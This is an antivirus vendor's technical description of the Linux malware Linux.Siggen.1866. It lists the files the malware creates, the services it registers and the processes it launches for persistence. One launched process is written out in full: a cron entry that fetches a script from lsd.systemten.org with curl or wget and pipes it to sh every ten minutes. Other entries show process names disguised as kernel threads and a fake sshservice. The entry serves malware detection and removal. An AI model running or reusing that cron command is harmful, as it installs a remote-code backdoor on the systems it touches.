Linux.Siggen.1866
Added to the Dr.Web virus database:
2019-06-23
Virus description added:
2019-06-23
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/cron.d/root
- /etc/init.d/sshservice
Malicious functions:
Launches itself as a daemon
Manages services:
- systemctl enable sshservice
- /usr/sbin/update-rc.d sshservice defaults
Launches processes:
- /bin/sh -c echo \"*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh\" | crontab -
- crontab -
- <SAMPLE_FULL_PATH> [khungtaskd]
- <SAMPLE_FULL_PATH> [kthrotld]
- /bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
- chattr -i /usr/lib/systemd/system/sshservice.service
- /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
- /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
- /sbin/insserv sshservice
Performs operations with the file system:
Modifies file access rights:
- /etc/hosts
- /var/spool/cron/crontabs/tmp.Xtsbon
- /etc/cron.d/root
- /var/spool/cron/root
- /var/spool/cron/crontabs/root
- /var/spool/cron/crontabs/tmp.U6Q8u9
- /var/spool/cron/crontabs/tmp.5AY2su
- /var/spool/cron/crontabs/tmp.cnBldW
Creates or modifies files:
- /etc/hosts
- /var/spool/cron/crontabs/tmp.Xtsbon
- /var/spool/cron/root
- /tmp/.XImunix
- /var/spool/cron/crontabs/tmp.U6Q8u9
- /var/spool/cron/crontabs/tmp.5AY2su
- /var/spool/cron/crontabs/tmp.cnBldW
- /usr/local/sbin/sshd
- /usr/lib/systemd/system/sshservice.service
Locks files:
Network activity:
Establishes connection:
HTTP GET requests:
DNS ASK:
Curing recommendations
Linux
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